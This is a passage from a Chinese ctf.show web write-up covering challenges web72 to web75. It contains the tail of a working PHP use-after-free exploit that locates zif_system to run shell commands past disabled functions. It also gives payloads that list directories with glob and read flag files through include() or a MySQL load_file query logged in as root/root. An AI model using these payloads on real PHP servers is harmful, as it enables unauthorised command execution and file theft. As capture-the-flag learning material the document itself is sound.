        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

使用的时候需要url 编码一下
ctf.show-web-1000题_第146张图片

web73

使用上一题的payload,先列出根目录文件

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

ctf.show-web-1000题_第147张图片
这次没有过滤 include,直接读取
c=include("/flagc.txt");exit();
ctf.show-web-1000题_第148张图片

web74

ctf.show-web-1000题_第149张图片
flagx.txt
c=include('/flagx.txt');exit();

web75

ctf.show-web-1000题_第150张图片
flag36.txt
payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

url 编码一下
ctf.show-web-1000题_第151张图片

你可能感兴趣的:(web,前端,安全)